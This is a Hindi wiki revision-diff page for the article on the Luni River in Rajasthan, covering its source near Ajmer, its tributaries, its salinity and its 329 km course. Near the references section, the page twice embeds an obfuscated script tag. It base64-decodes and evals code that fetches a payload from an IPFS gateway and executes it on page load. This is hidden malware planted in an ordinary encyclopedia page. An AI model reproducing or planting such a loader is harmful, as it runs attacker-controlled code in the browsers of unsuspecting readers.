"लूनी नदी" के अवतरणों में अंतर
भारत डिस्कवरी प्रस्तुति
गोविन्द राम (चर्चा | योगदान) छो (श्रेणी:भूगोल शब्दावली (को हटा दिया गया हैं।)) |
आदित्य चौधरी (चर्चा | योगदान) छो (Text replacement - "शृंखला" to "श्रृंखला") |
||
(3 सदस्यों द्वारा किये गये बीच के 3 अवतरण नहीं दर्शाए गए) | |||
पंक्ति 1: | पंक्ति 1: | ||
− | + | [[चित्र:Luni-River.jpg|thumb|250px|लूनी नदी]] | |
+ | '''लूनी नदी''', [[राजस्थान]] राज्य, पश्चिमोत्तर [[भारत]] में बहने वाली एक नदी है। | ||
*[[अजमेर]] के निकट के [[अरावली पर्वतमाला|अरावली श्रेणी]] की पश्चिमी ढलानों में उदगम, जहाँ इसे सागरमती के नाम से जाना जाता है, वहाँ से यह नदी आमतौर पर दक्षिण-पश्चिम की ओर पहाड़ियों से होती हुई इस प्रदेश के मैदानों के पार बहती है। | *[[अजमेर]] के निकट के [[अरावली पर्वतमाला|अरावली श्रेणी]] की पश्चिमी ढलानों में उदगम, जहाँ इसे सागरमती के नाम से जाना जाता है, वहाँ से यह नदी आमतौर पर दक्षिण-पश्चिम की ओर पहाड़ियों से होती हुई इस प्रदेश के मैदानों के पार बहती है। | ||
− | *उसके बाद यह रेगिस्तान के एक भाग से होकर अंतत: [[गुजरात]] राज्य के कच्छ के रण के पश्चिमोत्तर भाग की बंजर भूमि में विलुप्त हो जाती है। | + | *उसके बाद यह रेगिस्तान के एक भाग से होकर अंतत: [[गुजरात]] राज्य के [[कच्छ का रण|कच्छ के रण]] के पश्चिमोत्तर भाग की बंजर भूमि में विलुप्त हो जाती है। |
*यह एक मरुस्थलीय नदी है जो 'लवण नदी' के नाम से प्रसिद्ध है। | *यह एक मरुस्थलीय नदी है जो 'लवण नदी' के नाम से प्रसिद्ध है। | ||
*बाड़ी, मिठड़ी आदि इसकी सहायक नदियाँ हैं। | *बाड़ी, मिठड़ी आदि इसकी सहायक नदियाँ हैं। | ||
− | *ग्रीष्म ऋतु में इस नदी में पानी बहुत कम रहता है। | + | *[[ग्रीष्म ऋतु]] में इस नदी में पानी बहुत कम रहता है। |
− | *लूनी एक मौसमी नदी है और इसका [[अपवाह]] मुख्यत: अरावली श्रेणी की दक्षिण-पश्चिमी ढलानों से होता है, जोवाई, सुकरी और जोजारी इसकी प्रमुख सहायक नदियाँ हैं। | + | *लूनी एक मौसमी नदी है और इसका [[अपवाह]] मुख्यत: [[अरावली पर्वत श्रृंखला|अरावली श्रेणी]] की दक्षिण-पश्चिमी ढलानों से होता है, [[जोवाई]], सुकरी और जोजारी इसकी प्रमुख सहायक नदियाँ हैं। |
*लूनी का नाम [[संस्कृत भाषा|संस्कृत]] शब्द लवणवारि(नमकीन नदी) से लिया गया है और अत्यधिक लवणता के कारण इसका यह नाम पड़ा है। | *लूनी का नाम [[संस्कृत भाषा|संस्कृत]] शब्द लवणवारि(नमकीन नदी) से लिया गया है और अत्यधिक लवणता के कारण इसका यह नाम पड़ा है। | ||
*329 किलोमीटर लंबी धारा वाली लूनी इस क्षेत्र की एकमात्र प्रमुख नदी है और यह सिंचाई का एक अनिवार्य स्रोत है। | *329 किलोमीटर लंबी धारा वाली लूनी इस क्षेत्र की एकमात्र प्रमुख नदी है और यह सिंचाई का एक अनिवार्य स्रोत है। | ||
− | |||
{{लेख प्रगति | {{लेख प्रगति | ||
|आधार= | |आधार= | ||
पंक्ति 17: | पंक्ति 17: | ||
|शोध= | |शोध= | ||
}} | }} | ||
− | + | ||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> |
10:10, 9 फ़रवरी 2021 के समय का अवतरण
लूनी नदी, राजस्थान राज्य, पश्चिमोत्तर भारत में बहने वाली एक नदी है।
- अजमेर के निकट के अरावली श्रेणी की पश्चिमी ढलानों में उदगम, जहाँ इसे सागरमती के नाम से जाना जाता है, वहाँ से यह नदी आमतौर पर दक्षिण-पश्चिम की ओर पहाड़ियों से होती हुई इस प्रदेश के मैदानों के पार बहती है।
- उसके बाद यह रेगिस्तान के एक भाग से होकर अंतत: गुजरात राज्य के कच्छ के रण के पश्चिमोत्तर भाग की बंजर भूमि में विलुप्त हो जाती है।
- यह एक मरुस्थलीय नदी है जो 'लवण नदी' के नाम से प्रसिद्ध है।
- बाड़ी, मिठड़ी आदि इसकी सहायक नदियाँ हैं।
- ग्रीष्म ऋतु में इस नदी में पानी बहुत कम रहता है।
- लूनी एक मौसमी नदी है और इसका अपवाह मुख्यत: अरावली श्रेणी की दक्षिण-पश्चिमी ढलानों से होता है, जोवाई, सुकरी और जोजारी इसकी प्रमुख सहायक नदियाँ हैं।
- लूनी का नाम संस्कृत शब्द लवणवारि(नमकीन नदी) से लिया गया है और अत्यधिक लवणता के कारण इसका यह नाम पड़ा है।
- 329 किलोमीटर लंबी धारा वाली लूनी इस क्षेत्र की एकमात्र प्रमुख नदी है और यह सिंचाई का एक अनिवार्य स्रोत है।
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>